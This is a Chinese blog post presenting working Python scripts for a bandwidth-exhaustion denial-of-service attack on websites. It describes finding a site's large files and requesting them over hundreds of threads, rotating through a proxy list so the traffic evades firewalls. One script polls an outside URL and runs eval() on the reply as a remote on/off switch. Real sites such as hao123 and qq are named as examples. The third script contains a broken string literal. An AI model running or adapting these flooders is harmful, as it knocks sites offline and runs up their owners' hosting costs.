针对网页流量的Dos攻击脚本(使用代理服务器)


某目标网站,为虚拟主机,如果ISP限制月流量为20G,那么我们可以在短暂1-2天内消耗完其流量。(取决于你的机器)

方法原理如下:

1.找到目标网站大文件(页面)地址

2.多线程访问(下载)该地址


(注意:由于完全是出于模拟真实用户,所以不会被防火墙屏蔽掉)

(以下以hao123为例子而已)

一: 其中以上思路中的第一点 可以通过google浏览器的审计功能实现


如图,我可以得到几个大文件地址。


二:

找到地址以后,可以通过脚本程序实现多线程访问,不停消耗其网页浏览。

以下是我的机器运行程序后的截图(2 M adsl 仅10个线程,可以再加线程),我的接收也就是目标网站的消耗流量了(才几秒钟而已)。


可见效率还是不错的。

好了,脚本代码如下:

(注意,代理服务器需要放入proxy.txt文件中

格式为:

ip:port

一行一个)


import socket,random,threading,time,os,sys
import urllib.request as ur
socket.setdefaulttimeout(5)
os.chdir(sys.path[0])
domain='www.net'


tno=500

proxylist=[]

a=open(r'proxy.txt').read().strip().split()
for i in a:
    proxylist.append(i.split(':'))



target=['','index.asp','img/css.css','img/x.gif','img/x.jpg','img/x.jpg']

target=['','index.asp']
data='''GET http://%s/%s HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.46 Safari/535.11
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Referer: http://%s/

'''

no=1

plock=threading.Lock()

ok=False


def geturl():
    global no
    while True:
        time.sleep(1)
        while ok:
            proxydet=random.choice(proxylist)
            proxy=proxydet[0]
            port=proxydet[1]
            url=random.choice(target)
            da=data % (domain,url,domain,domain)
            try:
                if not plock.locked():plock.acquire()
                s=socket.socket()
                s.connect((proxy,int(port)))
                s.send(da.encode())
                dd=s.recv(4024)
                print(' ok ',no)
                no=no+1
            except Exception as err:
                pass
            finally:
                s.close()
                if plock.locked():plock.release()


def a():
    global ok
    url=r'http://www.xxx.com/xxx.txt'
    try:
        data=ur.urlopen(url).read().decode()
        data=data.strip().split()
        for i in data:
            dom,yes=i.split(':')
            if domain==dom:
                ok=eval(yes)
    except:
        ok=False

for i in range(tno):
    threading.Thread(target=geturl).start()

while True:
    time.sleep(5)
    a()









非代理版:


import os,socket,time,threading

data='''GET / HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Accept: */*

'''

domain='www.xxxx.net'
tno=400
mylock=threading.Lock()

def geturl():
          global data
          da=(data % domain).encode()
          while True:
                    try:
                              if not mylock.locked():mylock.acquire()
                              s=socket.socket()
                              s.connect((domain,80))
                              s.send((data % domain).encode())
                              s.recv(2040)
                              print('ok')
                    except Exception as err:print('err:',err) ;pass
                    finally:
                              s.close()
                              if mylock.locked():mylock.release()
          

for i in range(tno):
          threading.Thread(target=geturl).start()


import eventlet,time
from eventlet.green import socket
data=''qq HTTP/1.1
Host: qq
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Referer: http://hb.qq.com/news/reganmain/index.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: RK=NcDPkbje2o

'''
def send1():
    s=socket.socket()
    s.connect(('qqm',80))
    s.send(data)
    s.close()

send1()
pool=eventlet.GreenPool(512)
while True:pool.spawn_n(send1)





  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值